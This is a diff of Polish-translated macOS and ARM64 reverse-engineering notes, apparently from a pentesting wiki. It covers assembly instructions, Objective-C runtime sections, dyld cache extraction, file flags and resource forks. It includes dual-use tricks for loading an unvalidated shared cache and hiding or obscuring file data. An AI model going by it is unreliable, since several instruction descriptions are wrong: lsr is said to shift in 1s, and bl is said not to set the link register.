||||
## **Konwencja Wywołań (ARM64v8)**
|
||||
|
||||
Konwencja wywołań ARM64 określa, że **pierwsze osiem parametrów** do funkcji jest przekazywanych w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwrotna** jest przekazywana z powrotem w rejestrze **`x0`**, lub w **`x1`**, jeśli ma długość 128 bitów. Rejestry **`x19`** do **`x30`** oraz **`sp`** muszą być **zachowane** podczas wywołań funkcji.
|
||||
|
||||
Podczas odczytywania funkcji w asemblerze, zwróć uwagę na **prolog i epilog funkcji**. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** i **alokację miejsca na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
|
||||
Podczas odczytywania funkcji w asemblerze, zwróć uwagę na **prolog i epilog funkcji**. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** i **alokację przestrzeni na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
|
||||
|
||||
### Konwencja Wywołań w Swift
|
||||
|
||||
@ -115,7 +115,7 @@ Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`o
|
||||
- **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest uzyskiwany, a następnie obliczany i przechowywany jest offset.
|
||||
- `ldr x0, [x1], #8`, załaduj `x1` w `x0` i zaktualizuj x1 z `x1 + 8`
|
||||
- **Adresowanie względne do PC**: W tym przypadku adres do załadowania jest obliczany w odniesieniu do rejestru PC
|
||||
- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do aktualnego PC.
|
||||
- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do bieżącego PC.
|
||||
- **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**.
|
||||
- Przykład: `str x0, [x1]` — To zapisuje wartość w `x0` do lokalizacji pamięci wskazywanej przez `x1`.
|
||||
- **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.
|
||||
@ -142,8 +142,8 @@ Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`o
|
||||
- Przykład: `div x0, x1, x2` — To dzieli wartość w `x1` przez `x2` i przechowuje wynik w `x0`.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Logiczne przesunięcie w lewo**: Dodaj 0 z końca, przesuwając inne bity do przodu (mnożenie przez n razy 2)
|
||||
- **Logiczne przesunięcie w prawo**: Dodaj 1 na początku, przesuwając inne bity do tyłu (dzielenie przez n razy 2 w niesigned)
|
||||
- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (\*\*dzielenie przez n razy 2 w signed)
|
||||
- **Logiczne przesunięcie w prawo**: Dodaj 1 na początku, przesuwając inne bity do tyłu (dzielenie przez n razy 2 w nieskładanym)
|
||||
- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (\*\*dzielenie przez n razy 2 w ze znakiem)
|
||||
- **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej jest dodawane z lewej
|
||||
- **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia.
|
||||
- **`bfm`**: **Przesunięcie Bitowe**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję najbardziej lewego bitu**, a **`#r`** ilość przesunięcia w prawo.
|
||||
@ -158,8 +158,8 @@ Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`o
|
||||
- **`UBFIZ X1, X2, #3, #4`** Zeruje 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza zerowo rozszerzony wynik w X1.
|
||||
- **Rozszerzenie znaku do X:** Rozszerza znak (lub dodaje tylko 0 w wersji bez znaku) wartości, aby móc wykonywać operacje z nią:
|
||||
- **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` jest połową `X2`) aby wypełnić 64 bity
|
||||
- **`SXTH X1, W2`** Rozszerza znak 16-bitowej liczby **z W2 do X1** aby wypełnić 64 bity
|
||||
- **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) aby wypełnić 64 bity
|
||||
- **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** aby wypełnić 64 bity
|
||||
- **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** aby wypełnić 64 bity
|
||||
- **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** aby wypełnić 64 bity
|
||||
- **`extr`:** Ekstrahuje bity z określonej **pary rejestrów połączonych**.
|
||||
@ -170,25 +170,25 @@ Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`o
|
||||
- **`cmn`**: **Porównaj operand ujemny**. W tym przypadku to jest **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
|
||||
- **`ccmp`**: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy wcześniejsze porównanie było prawdziwe i specjalnie ustawi bity nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do func
|
||||
- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzedni `cmp` był `NE`**, jeśli nie był, bity `nzcv` zostaną ustawione na 0 (co nie zaspokoi porównania `blt`).
|
||||
- Może to być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` vs `cmn`).
|
||||
- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzedni `cmp` był `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie zaspokoi porównania `blt`).
|
||||
- Może to być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` w porównaniu do `cmn`).
|
||||
- **`tst`**: Sprawdza, czy którakolwiek z wartości porównania jest równa 1 (działa jak ANDS bez przechowywania wyniku gdziekolwiek). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którakolwiek z bitów rejestru wskazanych w wartości jest równa 1.
|
||||
- Przykład: `tst X1, #7` Sprawdź, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1
|
||||
- **`teq`**: Operacja XOR, zrzucając wynik
|
||||
- **`teq`**: Operacja XOR, odrzucając wynik
|
||||
- **`b`**: Bezwarunkowy skok
|
||||
- Przykład: `b myFunction`
|
||||
- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotu w `x30`**.
|
||||
- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotu w `x30`.
|
||||
- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotu w `x30`. (To jest
|
||||
- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotu w `x30`.
|
||||
- Zauważ, że to nie wypełni rejestru łączenia adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres powrotu w `x30`**.
|
||||
- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres powrotu w `x30`.
|
||||
- Zauważ, że to nie wypełni rejestru łączenia adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres powrotu w `x30`. (To jest
|
||||
- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres powrotu w `x30`.
|
||||
- **`ret`**: **Powrót** z **podprogramu**, zazwyczaj używając adresu w **`x30`**.
|
||||
- Przykład: `ret` — To wraca z aktualnego podprogramu, używając adresu zwrotu w `x30`.
|
||||
- Przykład: `ret` — To wraca z bieżącego podprogramu, używając adresu powrotu w `x30`.
|
||||
- **`b.<cond>`**: Skoki warunkowe
|
||||
- **`b.eq`**: **Skok, jeśli równe**, na podstawie poprzedniej instrukcji `cmp`.
|
||||
- **`b.eq`**: **Skok, jeśli równo**, na podstawie poprzedniej instrukcji `cmp`.
|
||||
- Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`.
|
||||
- **`b.ne`**: **Skok, jeśli nie równe**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównawczą), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
|
||||
- **`b.ne`**: **Skok, jeśli nie równo**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
|
||||
- Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, to skacze do `label`.
|
||||
- **`cbz`**: **Porównaj i skocz, jeśli zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu.
|
||||
- Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, to skacze do `label`.
|
||||
@ -213,14 +213,14 @@ Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`o
|
||||
- **`ldrsw`**: **Załaduj** podpisaną **32-bitową** wartość z pamięci i **rozszerz ją do 64** bitów.
|
||||
- Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną 32-bitową wartość z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`.
|
||||
- **`stur`**: **Zapisz wartość rejestru do lokalizacji pamięci**, używając offsetu z innego rejestru.
|
||||
- Przykład: `stur x0, [x1, #4]` — To zapisuje wartość w `x0` do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w `x1`.
|
||||
- **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza to "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, **przełącza się z trybu użytkownika do trybu jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się **kod obsługi wywołań systemowych jądra**.
|
||||
- Przykład: `stur x0, [x1, #4]` — To zapisuje wartość w `x0` do adresu pamięci, który jest o 4 bajty większy niż adres aktualnie w `x1`.
|
||||
- **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, **przełącza się z trybu użytkownika do trybu jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się **kod obsługi wywołań systemowych jądra**.
|
||||
|
||||
- Przykład:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Załaduj numer wywołania systemowego dla zakończenia (93) do rejestru x8.
|
||||
mov x0, 0 ; Załaduj kod statusu zakończenia (0) do rejestru x0.
|
||||
mov x8, 93 ; Załaduj numer wywołania systemowego dla exit (93) do rejestru x8.
|
||||
mov x0, 0 ; Załaduj kod statusu wyjścia (0) do rejestru x0.
|
||||
svc 0 ; Wykonaj wywołanie systemowe.
|
||||
```
|
||||
|
||||
@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
||||
|
||||
Armv8-A wspiera wykonanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** i może przełączać się między nimi za pomocą **`interworking`**.\
|
||||
**Privileged** programy 64-bitowe mogą planować **wykonanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do niżej uprzywilejowanego 32-bitowego.\
|
||||
Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4** **`SPSR_ELx`** specjalnego rejestru **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
|
||||
Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4 w** **`SPSR_ELx`** specjalnym rejestrze **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
|
||||
|
||||
**`interworking`** zachodzi przy użyciu bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. To zasadniczo oznacza ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\
|
||||
Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawiane bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
|
||||
@ -289,10 +289,10 @@ Pola są podzielone na kilka grup:
|
||||
#### Rejestr Statusu Programu Aplikacji (APSR)
|
||||
|
||||
- Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64)
|
||||
- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej z nasyceniem. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób impliczny, musi to być zrobione przez odczytanie jej ręcznie.
|
||||
- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej nasycającej. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób impliczny, musi to być zrobione poprzez ręczne odczytanie.
|
||||
- Flagi **`GE`** (Większe lub równe): Używane są w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji.
|
||||
|
||||
Na przykład, instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło się**.
|
||||
Na przykład, instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło**.
|
||||
|
||||
Instrukcja **`SEL`** wykorzystuje te flagi GE do wykonywania warunkowych działań.
|
||||
|
||||
@ -301,7 +301,7 @@ Instrukcja **`SEL`** wykorzystuje te flagi GE do wykonywania warunkowych działa
|
||||
- Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0, używana jest instrukcja A32, a jeśli jest 1, używana jest T32.
|
||||
- **Rejestr Stanu Bloku IT** (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**.
|
||||
- Bit **`E`**: Wskazuje na **endianness**.
|
||||
- Bity Maski Trybu i Wyjątków (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek jest wyzwalany podczas obsługi tego.
|
||||
- Bity Maski Trybu i Wyjątku (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek jest wyzwalany podczas obsługi tego.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -379,8 +379,8 @@ Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazane
|
||||
- Jeśli się powiedzie, zakończ
|
||||
- Zdobądź runtimeLock (odczyt)
|
||||
- Jeśli (realize && !cls->realized) zrealizuj klasę
|
||||
- Jeśli (initialize && !cls->initialized) zainicjuj klasę
|
||||
- Spróbuj pamięci podręcznej klasy:
|
||||
- Jeśli (initialize && !cls->initialized) zainicjalizuj klasę
|
||||
- Spróbuj pamięci podręcznej własnej klasy:
|
||||
- Jeśli się powiedzie, zakończ
|
||||
- Spróbuj listy metod klasy:
|
||||
- Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
|
||||
|
@ -13,7 +13,7 @@ x64 rozwija architekturę x86, oferując **16 rejestrów ogólnego przeznaczenia
|
||||
1. **`rax`** - Tradycyjnie używany do **wartości zwracanych** z funkcji.
|
||||
2. **`rbx`** - Często używany jako **rejestr bazowy** dla operacji pamięci.
|
||||
3. **`rcx`** - Powszechnie używany do **liczników pętli**.
|
||||
4. **`rdx`** - Używany w różnych rolach, w tym w rozszerzonych operacjach arytmetycznych.
|
||||
4. **`rdx`** - Używany w różnych rolach, w tym rozszerzonych operacjach arytmetycznych.
|
||||
5. **`rbp`** - **Wskaźnik bazowy** dla ramki stosu.
|
||||
6. **`rsp`** - **Wskaźnik stosu**, śledzący szczyt stosu.
|
||||
7. **`rsi`** i **`rdi`** - Używane do indeksów **źródłowych** i **docelowych** w operacjach na ciągach/pamięci.
|
||||
|
@ -59,19 +59,19 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
|
||||
|
||||
Większość danych używanych przez runtime ObjectiveC zmienia się podczas wykonywania, dlatego wykorzystuje niektóre sekcje z segmentu **\_\_DATA** w pamięci:
|
||||
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): Odniesienia do wiadomości
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): Referencje wiadomości
|
||||
- **`__objc_ivar`** (`ivar`): Zmienne instancji
|
||||
- **`__objc_data`** (`...`): Dane mutowalne
|
||||
- **`__objc_classrefs`** (`Class`): Odniesienia do klas
|
||||
- **`__objc_superrefs`** (`Class`): Odniesienia do klas nadrzędnych
|
||||
- **`__objc_protorefs`** (`protocol_t *`): Odniesienia do protokołów
|
||||
- **`__objc_selrefs`** (`SEL`): Odniesienia do selektorów
|
||||
- **`__objc_const`** (`...`): Dane `r/o` klasy i inne (mam nadzieję) stałe dane
|
||||
- **`__objc_classrefs`** (`Class`): Referencje klas
|
||||
- **`__objc_superrefs`** (`Class`): Referencje klas nadrzędnych
|
||||
- **`__objc_protorefs`** (`protocol_t *`): Referencje protokołów
|
||||
- **`__objc_selrefs`** (`SEL`): Referencje selektorów
|
||||
- **`__objc_const`** (`...`): Dane klas `r/o` i inne (mam nadzieję) stałe dane
|
||||
- **`__objc_imageinfo`** (`version, flags`): Używane podczas ładowania obrazu: Wersja obecnie `0`; Flagi określają wsparcie dla preoptymalizowanego GC itp.
|
||||
- **`__objc_protolist`** (`protocol_t *`): Lista protokołów
|
||||
- **`__objc_nlcatlist`** (`category_t`): Wskaźnik do kategorii Non-Lazy zdefiniowanych w tym binarnym pliku
|
||||
- **`__objc_nlcatlist`** (`category_t`): Wskaźnik do kategorii nie-leniwych zdefiniowanych w tym binarnym pliku
|
||||
- **`__objc_catlist`** (`category_t`): Wskaźnik do kategorii zdefiniowanych w tym binarnym pliku
|
||||
- **`__objc_nlclslist`** (`classref_t`): Wskaźnik do klas Objective-C Non-Lazy zdefiniowanych w tym binarnym pliku
|
||||
- **`__objc_nlclslist`** (`classref_t`): Wskaźnik do nie-leniwych klas Objective-C zdefiniowanych w tym binarnym pliku
|
||||
- **`__objc_classlist`** (`classref_t`): Wskaźniki do wszystkich klas Objective-C zdefiniowanych w tym binarnym pliku
|
||||
|
||||
Wykorzystuje również kilka sekcji w segmencie **`__TEXT`** do przechowywania stałych wartości, jeśli nie jest możliwe zapisanie w tej sekcji:
|
||||
@ -94,12 +94,12 @@ Objective-C używa pewnego mangle'owania do kodowania selektorów i typów zmien
|
||||
```
|
||||
Selektor to `processString:withOptions:andError:`
|
||||
|
||||
#### Kodowanie Typu
|
||||
#### Kodowanie typów
|
||||
|
||||
- `id` jest kodowane jako `@`
|
||||
- `char *` jest kodowane jako `*`
|
||||
|
||||
Pełne kodowanie typu dla metody to:
|
||||
Pełne kodowanie typów dla metody to:
|
||||
```less
|
||||
@24@0:8@16*20^@24
|
||||
```
|
||||
|
@ -49,7 +49,7 @@ macos-installers-abuse.md
|
||||
|
||||
- **`.dmg`**: Pliki obrazu dysku Apple są bardzo częste dla instalatorów.
|
||||
- **`.kext`**: Musi mieć określoną strukturę i jest wersją sterownika dla OS X. (to jest pakiet)
|
||||
- **`.plist`**: Znany również jako lista właściwości, przechowuje informacje w formacie XML lub binarnym.
|
||||
- **`.plist`**: Znane również jako lista właściwości, przechowuje informacje w formacie XML lub binarnym.
|
||||
- Może być w formacie XML lub binarnym. Pliki binarne można odczytać za pomocą:
|
||||
- `defaults read config.plist`
|
||||
- `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
@ -97,7 +97,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
|
||||
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Niektóre ekstraktory mogą nie działać, ponieważ dyliby są wstępnie powiązane z twardo zakodowanymi adresami, przez co mogą skakać do nieznanych adresów.
|
||||
Niektóre ekstraktory nie będą działać, ponieważ dyliby są wstępnie powiązane z twardo zakodowanymi adresami, przez co mogą skakać do nieznanych adresów.
|
||||
|
||||
> [!TIP]
|
||||
> Możliwe jest również pobranie Shared Library Cache z innych urządzeń \*OS w macos, używając emulatora w Xcode. Zostaną one pobrane w: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, jak: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
|
||||
@ -114,8 +114,8 @@ Pule gałęzi to małe dyliby Mach-O, które tworzą małe przestrzenie między
|
||||
|
||||
Używając zmiennych środowiskowych:
|
||||
|
||||
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> To pozwoli załadować nową pamięć podręczną wspólnej biblioteki.
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** i ręcznie zastąpić biblioteki dowiązaniami do pamięci podręcznej z rzeczywistymi (będziesz musiał je wyodrębnić).
|
||||
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> To pozwoli na załadowanie nowej pamięci podręcznej biblioteki współdzielonej.
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** i ręczne zastąpienie bibliotek dowiązaniami do pamięci podręcznej z rzeczywistymi (będziesz musiał je wyodrębnić).
|
||||
|
||||
## Specjalne uprawnienia plików
|
||||
|
||||
@ -127,7 +127,7 @@ W **folderze**, **odczyt** pozwala na **wyświetlenie go**, **zapis** pozwala na
|
||||
|
||||
Istnieją pewne flagi, które mogą być ustawione w plikach, co sprawi, że plik będzie zachowywał się inaczej. Możesz **sprawdzić flagi** plików w katalogu za pomocą `ls -lO /path/directory`
|
||||
|
||||
- **`uchg`**: Znana jako flaga **uchange**, **zapobiegnie wszelkim działaniom** zmieniającym lub usuwającym **plik**. Aby ją ustawić, użyj: `chflags uchg file.txt`
|
||||
- **`uchg`**: Znana jako flaga **uchange**, będzie **zapobiegać jakiejkolwiek akcji** zmieniającej lub usuwającej **plik**. Aby ją ustawić, użyj: `chflags uchg file.txt`
|
||||
- Użytkownik root może **usunąć flagę** i zmodyfikować plik.
|
||||
- **`restricted`**: Ta flaga sprawia, że plik jest **chroniony przez SIP** (nie możesz dodać tej flagi do pliku).
|
||||
- **`Sticky bit`**: Jeśli katalog ma bit sticky, **tylko** właściciel **katalogu lub root mogą zmieniać nazwy lub usuwać** pliki. Zazwyczaj jest to ustawiane w katalogu /tmp, aby zapobiec zwykłym użytkownikom w usuwaniu lub przenoszeniu plików innych użytkowników.
|
||||
@ -180,11 +180,11 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
|
||||
Atrybuty rozszerzone mają nazwę i dowolną wartość, a ich zawartość można zobaczyć za pomocą `ls -@` i manipulować nimi za pomocą polecenia `xattr`. Niektóre powszechne atrybuty rozszerzone to:
|
||||
|
||||
- `com.apple.resourceFork`: Kompatybilność z forkami zasobów. Widoczne również jako `filename/..namedfork/rsrc`
|
||||
- `com.apple.resourceFork`: Zgodność z forkami zasobów. Widoczne również jako `filename/..namedfork/rsrc`
|
||||
- `com.apple.quarantine`: MacOS: mechanizm kwarantanny Gatekeepera (III/6)
|
||||
- `metadata:*`: MacOS: różne metadane, takie jak `_backup_excludeItem` lub `kMD*`
|
||||
- `com.apple.lastuseddate` (#PS): Data ostatniego użycia pliku
|
||||
- `com.apple.FinderInfo`: MacOS: informacje o Finderze (np. kolorowe tagi)
|
||||
- `com.apple.FinderInfo`: MacOS: Informacje o Finderze (np. kolorowe tagi)
|
||||
- `com.apple.TextEncoding`: Określa kodowanie tekstu plików ASCII
|
||||
- `com.apple.logd.metadata`: Używane przez logd w plikach w `/var/db/diagnostics`
|
||||
- `com.apple.genstore.*`: Przechowywanie generacyjne (`/.DocumentRevisions-V100` w katalogu głównym systemu plików)
|
||||
@ -196,7 +196,7 @@ Atrybuty rozszerzone mają nazwę i dowolną wartość, a ich zawartość można
|
||||
|
||||
### Forki zasobów | macOS ADS
|
||||
|
||||
To sposób na uzyskanie **Alternatywnych Strumieni Danych w maszynach MacOS**. Możesz zapisać zawartość w atrybucie rozszerzonym o nazwie **com.apple.ResourceFork** wewnątrz pliku, zapisując go w **file/..namedfork/rsrc**.
|
||||
To sposób na uzyskanie **Alternatywnych Strumieni Danych w MacOS**. Możesz zapisać zawartość w atrybucie rozszerzonym o nazwie **com.apple.ResourceFork** wewnątrz pliku, zapisując go w **file/..namedfork/rsrc**.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
||||
|
||||
Rozszerzony atrybut `com.apple.decmpfs` wskazuje, że plik jest przechowywany w zaszyfrowanej formie, `ls -l` zgłosi **rozmiar 0**, a skompresowane dane znajdują się w tym atrybucie. Kiedy plik jest otwierany, jest on odszyfrowywany w pamięci.
|
||||
|
||||
Ten atrybut można zobaczyć za pomocą `ls -lO`, oznaczony jako skompresowany, ponieważ skompresowane pliki są również oznaczone flagą `UF_COMPRESSED`. Jeśli skompresowany plik zostanie usunięty z tą flagą za pomocą `chflags nocompressed </path/to/file>`, system nie będzie wiedział, że plik był skompresowany i dlatego nie będzie w stanie go dekompresować i uzyskać dostęp do danych (pomyśli, że jest on w rzeczywistości pusty).
|
||||
Ten atrybut można zobaczyć za pomocą `ls -lO`, oznaczony jako skompresowany, ponieważ skompresowane pliki są również oznaczone flagą `UF_COMPRESSED`. Jeśli skompresowany plik zostanie usunięty z tą flagą za pomocą `chflags nocompressed </path/to/file>`, system nie będzie wiedział, że plik był skompresowany i dlatego nie będzie w stanie go dekompresować i uzyskać dostępu do danych (pomyśli, że jest on w rzeczywistości pusty).
|
||||
|
||||
Narzędzie afscexpand może być użyte do wymuszenia dekompresji pliku.
|
||||
|
||||
@ -247,7 +247,7 @@ Katalog `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System
|
||||
